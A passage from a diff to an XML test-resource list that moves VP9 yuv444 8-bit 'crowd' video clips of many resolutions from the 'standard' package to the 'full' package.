   <entry key="vp9/yuv444/8bit/resolution/crowd_1080x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=328629,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=328629,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1080x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19147,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19147,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1088x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=327009,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=327009,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1152x2048p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=374774,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=374774,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x1280p50f32_3200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=265005,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=265005,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21552,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21552,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x1920p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=390696,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=390696,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20856,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20856,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x720p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=143623,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=143623,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1280x960p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=198701,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=198701,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_128x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21449,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21449,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_128x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20604,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20604,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_128x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=25255,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=25255,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_128x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24579,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24579,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1440x1080p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=266083,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=266083,width=1440,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1440x1440p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335231,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335231,width=1440,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1440x1920p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=438349,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=438349,width=1440,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1440x2560p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=751127,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=751127,width=1440,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1440x960p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=228554,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=228554,width=1440,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_144x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21858,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21858,width=144,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_144x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20521,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20521,width=144,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_144x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20205,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20205,width=144,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_144x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19083,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19083,width=144,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_144x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24481,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24481,width=144,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1536x2048p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=493649,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=493649,width=1536,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_160x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19030,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19030,width=160,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_16x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=285163,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=285163,width=16,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_16x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=352675,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=352675,width=16,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_16x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=8722,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=8722,width=16,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_16x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=659648,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=659648,width=16,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_16x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=171464,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=171464,width=16,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_172x172p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20166,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20166,width=172,height=172,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_176x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21519,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21519,width=176,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_176x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24898,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24898,width=176,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x1080p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=354250,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=354250,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x1088p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=357458,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=357458,width=1920,height=1088,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x1280p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=403271,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=403271,width=1920,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x1440p50f32_5500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=444910,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=444910,width=1920,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19653,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19653,width=1920,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x1920p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=581808,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=581808,width=1920,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x2560p50f32_9800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1010595,width=1920,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_1920x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16468,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16468,width=1920,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_192x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21563,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21563,width=192,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_192x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21531,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21531,width=192,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_192x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19498,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19498,width=192,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_192x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19070,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19070,width=192,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_192x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18831,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18831,width=192,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2048x1152p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=395360,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=395360,width=2048,height=1152,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2048x1536p50f32_6200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=497597,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=497597,width=2048,height=1536,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2048x2048p50f32_8300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=661200,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=661200,width=2048,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2160x3840p50f32_16500kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1742876,width=2160,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_216x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18302,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18302,width=216,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2304x4096p50f32_18800kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1997155,width=2304,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_240x160p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19667,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19667,width=240,height=160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_240x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18480,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18480,width=240,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_240x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16552,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16552,width=240,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_240x360p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16219,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16219,width=240,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_24x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16247,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16247,width=24,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2560x1440p50f32_7300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=592110,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=592110,width=2560,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2560x1920p50f32_9800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=780170,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=780170,width=2560,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2560x2560p50f32_13100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1361745,width=2560,height=2560,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40851,34 +40851,34 @@
     <value>mime=video/x-vnd.on2.vp9,size=2065312,width=2560,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_256x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19945,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19945,width=256,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_256x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18896,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18896,width=256,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_256x256p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18202,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18202,width=256,height=256,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_264x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16644,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16644,width=264,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_2880x3840p50f32_22100kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2330981,width=2880,height=3840,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_288x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18963,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18963,width=288,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_288x216p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18320,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18320,width=288,height=216,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_288x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16848,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16848,width=288,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_288x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16498,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16498,width=288,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_288x512p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=19393,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=19393,width=288,height=512,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_3072x4096p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2549961,width=3072,height=4096,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -40887,61 +40887,61 @@
     <value>mime=video/x-vnd.on2.vp9,size=2529122,width=3120,height=4160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_320x240p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16901,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16901,width=320,height=240,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_320x320p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16373,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16373,width=320,height=320,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_320x480p50f32_300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24316,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24316,width=320,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_32x24p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16202,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16202,width=32,height=24,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_32x32p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17627,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17627,width=32,height=32,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_350x350p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17561,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17561,width=350,height=350,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_352x264p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16833,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16833,width=352,height=264,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_352x288p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16548,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16548,width=352,height=288,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_352x352p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17979,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17979,width=352,height=352,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_356x638p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=67040,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=67040,width=356,height=638,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_356x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=67171,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=67171,width=356,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_358x636p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=67036,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=67036,width=358,height=636,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/resolution/crowd_358x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=67127,width=358,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
